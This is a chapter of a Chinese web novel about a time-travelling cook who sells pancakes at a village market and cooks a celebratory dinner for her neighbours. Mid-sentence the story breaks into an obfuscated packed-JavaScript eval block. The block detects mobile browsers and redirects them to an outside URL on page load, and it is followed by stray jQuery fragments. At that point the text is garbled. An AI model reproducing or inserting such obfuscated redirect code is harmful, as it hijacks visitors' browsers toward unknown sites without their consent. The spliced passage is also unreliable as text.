15. 又有肉吃啦
作品:《大厨的古代奋斗梦》 第二天一早,叶相逢刚起,黄英就在外面敲门了。
她打着哈欠拿下门栓:“哈啊~英姐,你来这么早。”
“我这不是怕晚了,耽误你们,现在要做什么?”
“英姐,你先坐着歇会儿,我洗把脸过来再弄。”
黄英来都来了,怎么可能坐下歇息,等叶相逢刷完牙洗完脸进来,她已经把火升上,开始烧水了。
沈木森挠挠头,诶?
为了不出现昨天那种情况,今天沈木森揉了整整两大盆烫面。
叶相逢觉得还好自己有先见之明,面粉买的多,不然现在都不够用了。
萝卜丝面糊她依旧只调了一盆,不然到下午热了就不新鲜了,还是像昨天那样,带整个萝卜和面粉过去,在摊子上现切现调。
她们到摊位的时间比昨天还要早一点,蒋大风正在桌子上睡觉,黄英过去将他喊醒,蒋大风揉了揉眼睛:“你们都来了。”
叶相逢看着他眼下的青黑,昨晚肯定没睡好:“蒋大哥,你等下我做点饼,你吃完赶紧回去休息吧。”
叶相逢做了一锅,让自己人先吃饱了,接着就要开启忙碌的一天。
今天第一个客户竟然还是昨天的第一个客户,而且旁边还带了一个人。
叶相逢扬起笑脸:“大哥,您今天有来这么早。”
王大春见叶相逢还记得他,不由得在老钱面前挺起胸膛:“您这儿生意太好,不来早点可就得排队买了。”
昨天中午他本来打算再来买些当午饭吃的,结果一看,好家伙人也太多了,他还有摊子要守着,不可能过去排队等着,遂放弃。
所以今天他又早一点过来,这下总没人和他抢了吧。
“那您今天要几个饼?”
“给我来两个萝卜丝饼两个糖饼吧。”
“这位大哥呢?”叶相逢看向王大春带过来的人。
钱进昨天没吃到,先要了两个尝尝鲜。
结果咬上去就一发不可收拾,昨天吃了一天的干噎的杂粮饼,现在吃到这么好吃热乎的饼,钱进的胃感动得都快流泪了。
“老王,你果然没骗我,太好吃了!!!我还要再去买一些!”
钱进吃完比王大春还喜欢,直接回去摊子上又买了十个。
集市第二天的人是最多的,叶相逢明显感觉到今天早上摊子前的人要比昨天多。
还好请了黄英来帮忙,沈木森糖饼包不过来的时候她就去帮包饼,叶相逢调面糊的时候她就去看摊子,三人灵活分配工作。
一直忙到日上三竿,中间都没有时间喝口水。
中午的时候蒋大风带着两个孩子过来送午饭:“我想着你们只吃饼也不行,就做了点饭菜过来。”
叶相逢:“谢谢蒋大哥。”
因为摊子上人太多,三人只能轮流找空闲吃饭。
下午依旧很忙,天气还有些闷热,叶相逢甚至都觉得周边村子上的人都来这个集市了。
收摊的时间比昨天还要晚,累得叶相逢手臂都快举不起来了。
不过付出还是有回报的,晚上回去一数钱,有一千零九十八文!
两天一共赚了一千九百六十二文,快二两银子了。
这么算下来叶相逢已经把所有花的钱都挣回来了,甚至还多出许多。
叶相逢一晚上嘴角都没有下来过。
不过隔天叶相逢起来,发现外面在刮风,天气有些不好,叶相逢有些担心,这样肯定会影响大家逛集市的热情。
摆好摊子,到了该上人的时候,果然不出她所料,人少了许多。
叶相逢只能安慰自己,三天能赚这么些已经很多了。
到下午大概三点多的时候,天上突然飘起了小雨,叶相逢看着集市上步履匆匆的行人。
“英姐,之后估计没什么人了,我们也没雨伞,早点收摊吧,今天都来我家吃饭,你和蒋大哥尝尝我做菜的手艺。”
“那可真是有口福了,你做的饭菜肯定香!”
叶相逢让沈木森和黄英先回去,她到集市上买点肉。
黄英擦擦手:“行,别买太多,刚好我家里还有些新鲜的蚕豆,我带到你家去,晚上能做点蚕豆吃。”
叶相逢先去了她们摊子旁的一个卖山货的,这两天他生意也不错,叶相逢问他买了点干蘑菇,要品质好点的。
卖山货的小伙儿一口答应:“那当然,都是拖了小娘子你的光,不然我这山货哪能卖那么好,我再多送你点。”
“那谢谢小哥了。”
这三天大家都太累了,叶相逢想着一定要好好补补,买点蘑菇炖鸡汤,她买了只肥硕的走地鸡,花了七十文,又称了一斤五花肉回去。
叶相逢前脚刚回到家,黄月雨后脚抱着个小竹筐过来:“叶婶婶,我来送点槐花。”
几天没见,黄月雨更黑了点。
“怎么送这么多来?”黄月雨送来的槐花都快赶上上次她们几个人在山里一起摘的了。
黄月雨挠挠头:“我不小心摘了太多,家里都吃不完了。”
叶相逢想到前两天听到的传闻,估计这孩子把全村的槐花树都嚯嚯完了,真是让人哭笑不得。
“那谢谢小雨了。”
有了黄月雨送来的槐花,今天还可以做个槐花炒鸡蛋。
不一会儿,黄英和蒋大风领着儿子过来帮忙做晚饭了。
于是沈木森烧水,蒋大风杀鸡拔毛,叶相逢和黄英洗菜。
鸡汤煮的时间最长,叶相逢先把它炖上。
刚杀的鸡很新鲜,做起来的方法也特别简单。
鸡肉切大块,泡去血水,放到锅里,泡好的干蘑菇扔进去,除了叶相逢买的干香菇,卖山货的小伙子还送了挺多其他种类的蘑菇,叶相逢一股脑全都放进去,反正什么菇都很鲜。
接着放盐,姜,蒜,小葱打结,加入冷水,直接炖就好了。
越简单的操作越能吃到食材最原始的风味。
炖鸡肉的时候,就可以来做其他菜。
叶相逢第一道先做葱油蚕豆,小葱放入热油里煎出香味,接着放入已经煮熟的蚕豆,只需要爆炒入味,让葱香浸入蚕豆,这道菜就做好了。
先做这道菜的原因是因为葱油蚕豆凉了也很好吃,甚至更有风味。
接着就是槐花炒鸡蛋,槐花已经洗干净了,和做槐花饭不一样,炒鸡蛋只要把槐花洗干净就能直接做了。
过一遍热水,再过编凉水,能保持槐花的色泽,把水分挤得半干,倒入鸡蛋液里搅拌,炒制就和普通炒鸡蛋步骤一样,不过金黄的蛋花裹在白色的花朵上,煞是好看。
最后就是今天的另一道肉菜,五花肉炒鲜笋。
是的,她们去山上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597695|171662||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摘竹叶的时候又挖了点笋回来,不过叶相逢看新长出来的笋已经很少了,再过几天就算想吃也吃不到了。
五花肉切片煸油,沈木森烧的火很大,很适合爆炒。
其他几道菜都比较偏清淡,所以叶相逢加了些辣椒,呛得除了做饭的厨子,大家都跑了出去吸了口新鲜空气。
等所有菜都炒完,鸡也被炖得差不多,叶相逢打开里锅锅盖,一股浓郁的菌菇香气扑面而来,从味道来闻,叶相逢都确信这是非常完美的一道鸡汤。
她把蒸好的米饭搬出来,用筷子戳了一下鸡肉,软烂透香,盛起来一个汤盆都装不下。
沈家没有那么多吃饭的碗,黄英还回家拿了几个过来。
“好了,可以开饭啦!”叶相逢端着滚烫的汤盆放到饭桌上,然后甩甩手摸了摸自己的耳垂。
标准的三菜一汤,两荤两素,每一道菜分量还都很大。
蒋大风看到这一桌香味扑鼻的菜,不禁感叹:“这过得是什么神仙日子啊!”
“蒋大哥,英姐,你们不要客气,还有虎子,想吃啥吃啥。”众人绕着小方桌紧坐在一起。
黄英:“我们跟你还客气啥,来来,动筷子。”
蒋虎人小够不到,撒娇道:“叶婶婶,我想吃鸡~”
“好,这里的鸡腿,你和欢欢一人一个。”
黄英连忙制止她:“不是嫂子跟你客气,要是平时给他们吃就吃了,但今天这俩个鸡腿就该你和小森吃。”
说着,把鸡腿夹到叶相逢和沈木森碗里。
“这两天你们俩最辛苦了,谁最辛苦就该谁吃最好的是不是?”黄英问两个小萝卜头。
“嗯!”“是的!”两个小孩并没有因为没吃到鸡腿而哭闹,而是认定了黄英的说法,转而得到了两个鸡翅。
叶相逢若有所思,她其实在穿过来之前也没谈过恋爱,更别说养孩子了,加上对于原身的愧疚,所以对于叶相欢是有点溺爱的。
而黄英虽然是个古代人,但完全是现代育儿的思维,看来以后得多向黄英学习怎么教育孩子了。
鸡腿的肉紧实细腻,混着蘑菇的香气,这么久没吃到肉,这一口下去叶相逢感觉灵魂得到了升华。
黄英一家则是第一次吃槐花做出来的东西,蒋大风夹了一筷子放进嘴里,有些惊奇道:“真的有股槐花香!”
蒋大风连吃好几口。
叶相欢夹了块蚕豆放进嘴里:“阿姐,欢欢不喜欢吃蚕豆,有股怪味道。”
虽然不喜欢,但是叶相欢也没有浪费食物,还是咽了下去。
小孩子味觉比较灵敏,许多味道重一点的蔬菜都接受不了,叶相逢小时候就不喜欢吃蚕豆豌豆和丝瓜:“没事,不喜欢就吃别的菜。”
叶相逢现在倒是对蚕豆喜欢的很,软糯无比,外壳上沾满了香喷喷的葱油,十分鲜美。
至于五花肉炒鲜笋,实在是太下饭了,香辣的肉片,脆脆的竹笋配上一口米饭,吃得黄英竖起大拇指,还感叹:“我这做饭的手艺要是能有你一半好就行了。”
蒋大风更是毫不吝啬地夸赞:“弟妹,做哥的说句实话,我这辈子就没吃过这么好吃的菜!”
米饭吃完后,再舀点鸡汤喝下去,舒服得飘飘然,真有点蒋大风说的神仙日子的感觉了。
一桌菜,三个大人,三个小孩吃得干干净净。